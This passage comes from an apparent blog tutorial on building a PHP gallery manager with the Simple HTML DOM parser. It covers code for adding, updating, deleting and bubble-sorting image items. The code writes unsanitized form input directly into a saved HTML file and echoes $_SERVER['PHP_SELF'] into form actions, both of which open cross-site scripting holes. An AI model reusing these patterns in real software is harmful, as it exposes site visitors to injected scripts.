	<span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'img'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">src</span>		<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'add-img-url'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">href</span>		<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'add-linksto'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// add the new element at the beginning of the gallery div</span>
	<span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#myGallery'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">outertext</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#myGallery'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// try to save the new document</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gallery_location</span><span style="color: #339933;">,</span> <span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
		<span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">clear</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
		<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$html</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> file_get_html<span style="color: #009900;">&#40;</span><span style="color: #000088;">$gallery_location</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$items</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#myGallery .imageElement'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h3 class=&quot;success&quot;&gt;Item added&lt;/h3&gt;'</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h3 class=&quot;error&quot;&gt;Error writing file!&lt;/h3&gt;'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>		
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The above snippet is just the part responsible for the &#8220;add new item&#8221; action. And this is where the HTML parser first comes in.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$temp_item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'img'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">src</span></pre></div></div>

<p>Those of you familiar with the <a href="http://jquery.com/" title="The jQuery JavaScript Library">jQuery</a> JavaScript library might have noticed the find() method. This searches for all descendant elements that match the specified expression (CSS selector). In the code above, the second argument for the find() method is the element&#8217;s index&mdash;in our case 0, because we always need the first (and only) match.</p>
<p>After getting to an element, you can easily manipulate its attributes (src, href etc) and its inner and outer text.</p>
<p>The image below illustrates the difference between the innertext and outertext.<br />
<img src="http://www.vileworks.com/wp-content/uploads/2008/10/gallery_manager2.jpg" alt="innertext/outertext" /><br />
Outer text is the element including its opening and closing tags and the inner text is just what&#8217;s &#8220;inside&#8221; of it, between the opening and closing tags.</p>
<p>What follows in the code is the HTML for the form which sends the data to the snippet discussed above.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;</span></span>&quot; name=&quot;add_new_item&quot;&gt;
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;span-8 add-item&quot;</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;span-8&quot;</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span> <span style="color: #000066;">for</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-title&quot;</span>&gt;</span>Title: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-title&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-title&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span> <span style="color: #000066;">for</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-description&quot;</span>&gt;</span>Description: <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-description&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-description&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span> <span style="color: #000066;">for</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-img-url&quot;</span>&gt;</span>Image location (required): <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-img-url&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-img-url&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-img-url&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span> <span style="color: #000066;">for</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-href&quot;</span>&gt;</span>Image links to (link to page or full size image): <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">br</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-linksto&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-href&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #66cc66;">/</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span>    
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;form-foter span-8&quot;</span>&gt;</span>
            <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">button</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;positive button-ok&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Add&quot;</span>&gt;</span>Add<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">button</span>&gt;</span>
        <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">div</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;span-9 last&quot;</span>&gt;</span>
    	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">img</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;backend/1px.gif&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;preview&quot;</span> <span style="color: #000066;">alt</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Add image&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;add-preview&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span>
    <span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">hr</span> <span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></pre></div></div>

<h3>4. Using the Simple HTML DOOM Parser to update the existing elements</h3>
<p>And by &#8220;update&#8221; I mean edit, delete or reorder.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">// if received &quot;update form&quot;...</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'updateform'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#038;&amp; $_POST['updateform']=='was_submitted' ) { 
</span>			
	<span style="color: #666666; font-style: italic;">// go through the array of elements...</span>
	<span style="color: #000088;">$j</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$deleted_positions</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$items</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'delete-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> 
			<span style="color: #666666; font-style: italic;">// if 'delete' was selected, remove the node</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">outertext</span><span style="color: #339933;">=</span><span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
			<span style="color: #666666; font-style: italic;">// ex: if 'delete-2' was selected, then delete the second element</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">// store the deleted ones' positions in another array</span>
			<span style="color: #000088;">$deleted_positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$j</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #000088;">$i</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$j</span><span style="color: #339933;">++;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #666666; font-style: italic;">// update the information for each element...</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'h3'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span>	<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'p'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span>	<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'description-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'img'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">src</span>		<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'img-url-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">href</span>		<span style="color: #339933;">=</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'linksto-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">/* Sort items by the inputted positions - $_POST['pos'.$i] */</span>
&nbsp;
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$items</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">// for each of the items</span>
			<span style="color: #666666; font-style: italic;">// store the item's position in $positions[]</span>
			<span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pos-'</span><span style="color: #339933;">.</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">/* The Bubble Sort */</span>
	<span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$sorted</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$items</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">// for each of the items</span>
&nbsp;
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">,</span><span style="color: #000088;">$deleted_positions</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">// if the current item was deleted...</span>
				<span style="color: #000088;">$i</span><span style="color: #339933;">++;</span> <span style="color: #666666; font-style: italic;">// ...skip it</span>
			<span style="color: #009900;">&#125;</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">// if the current item is larger than the next AND the next wasn't deleted</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&gt;</span><span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#038;&amp; !in_array($i+1,$deleted_positions) ){	
</span>						
				<span style="color: #000088;">$sorted</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// items weren't sorted</span>
&nbsp;
				<span style="color: #666666; font-style: italic;">// swap the position values in the $positions array</span>
				<span style="color: #666666; font-style: italic;">/* since these are not tied to the items in any way, 
				they have to be swapped separately in their own array */</span>
				<span style="color: #000088;">$temp_position</span>	<span style="color: #339933;">=</span> <span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span>	<span style="color: #339933;">=</span> <span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$positions</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span> <span style="color: #000088;">$temp_position</span><span style="color: #339933;">;</span>
&nbsp;
				<span style="color: #666666; font-style: italic;">// swap the contents of the items (their title, description, link, image location)</span>
				<span style="color: #000088;">$temp</span>			<span style="color: #339933;">=</span> <span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span>	<span style="color: #339933;">=</span> <span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$items</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span>	<span style="color: #339933;">=</span> <span style="color: #000088;">$temp</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$sorted</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// repeat this while the items are not sorted</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// try to save the new document</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gallery_location</span><span style="color: #339933;">,</span> <span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">innertext</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">clear</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
		<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$html</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> file_get_html<span style="color: #009900;">&#40;</span><span style="color: #000088;">$gallery_location</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$items</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$html</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#myGallery .imageElement'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h3 class=&quot;success&quot;&gt;Gallery Updated&lt;/h3&gt;'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;h3 class=&quot;error&quot;&gt;Error writing file!&lt;/h3&gt;'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h4>4.1 Updating and deleting</h4>
<p>In the first loop we&#8217;re going through the items and if an item was deleted, the outer text is set to null and its position is stored in the $deleted_positions array (we&#8217;ll need these positions when we sort them).<br />
If the item wasn&#8217;t deleted, all its information will be updated.</p>
<h4>4.2 Sorting the items with <em>Bubble sort</em></h4>
<p>The <strong>do&#8230;while</strong> loop in the snipped above uses the <a href="http://en.wikipedia.org/wiki/Bubble_sort"><strong>Bubble sort</strong></a> method to sort the items by positions.<br />
As mentioned in the comment, besides the actual item swap we also need to do an swap for the positions, since these aren&#8217;t connected to the items&mdash;they&#8217;re just stored in the $positions array.</p>
<p>Followed by the form with all the options for each image. This is where the updates are sent from to the snippet above.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;form action=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_SELF'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>#update&quot; method=&quot;post&quot; name=&quot;update_items&quot; &gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$items</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$position</span><span style="color: #339933;">=</span><span style="color: #000088;">$i</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
